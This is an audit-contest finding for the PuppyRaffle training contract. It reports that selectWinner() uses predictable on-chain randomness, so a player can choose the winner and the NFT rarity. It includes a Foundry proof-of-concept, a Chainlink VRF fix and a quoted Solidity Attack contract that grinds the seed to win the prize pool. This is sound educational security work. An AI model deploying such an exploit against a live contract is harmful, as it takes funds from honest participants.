Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Weak on-chain randomness lets a participant choose the winner and the puppy rarity

nexus0ps

Description

The intended behavior: the winner of the raffle (and the puppy rarity) should be unpredictable, so no participant can choose the outcome.

The bug: selectWinner() derives both the winning index and the rarity from values that the transaction sender knows or controls at call time: msg.sender, block.timestamp, and block.difficulty/prevrandao. The function is permissionless and msg.sender feeds the seed, so a participant can compute the result off-chain for candidate blocks and only broadcast the call when it makes them win.

function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
@> uint256 winnerIndex =
@> uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
address winner = players[winnerIndex];
...
@> uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;
}

Risk

Likelihood: High. Any registered player can grind the call (and a block proposer has even stronger control over block.timestamp and prevrandao).

Impact: High. The attacker can deterministically win the 80% prize pool and force a Legendary-rarity NFT, stealing the prize from honest participants.

Proof of Concept

Run forge test --match-test test_H2_weak_randomness_attacker_forces_win. With four players entered, the attacker (a participant) searches for a block.timestamp such that keccak256(attacker, ts, difficulty) % 4 equals its own index, warps to it, and calls selectWinner(). Result: previousWinner == attacker on every run.

// attacker derives the timestamp that makes it win, then calls selectWinner in that slot
uint256 ts = _winningTimestamp(attacker, attackerIndex, players.length, raffleStartTime + duration);
vm.warp(ts);
vm.prank(attacker);
raffle.selectWinner();
assertEq(raffle.previousWinner(), attacker); // passes

Recommended Mitigation

Use a verifiable randomness source (Chainlink VRF) or a commit-reveal scheme, and split selectWinner so it only requests randomness, picking the winner in the callback. Never derive selection from msg.sender, block.timestamp, or block.difficulty.

// Sketch using Chainlink VRF v2
function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
// only request randomness here; do NOT pick the winner from on-chain values
requestId = COORDINATOR.requestRandomWords(keyHash, subId, confirmations, callbackGasLimit, 1);
}
​
function fulfillRandomWords(uint256, uint256[] memory randomWords) internal override {
uint256 winnerIndex = randomWords[0] % players.length; // unpredictable, outside caller control
address winner = players[winnerIndex];
// ... pay winner, mint NFT, reset raffle ...
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

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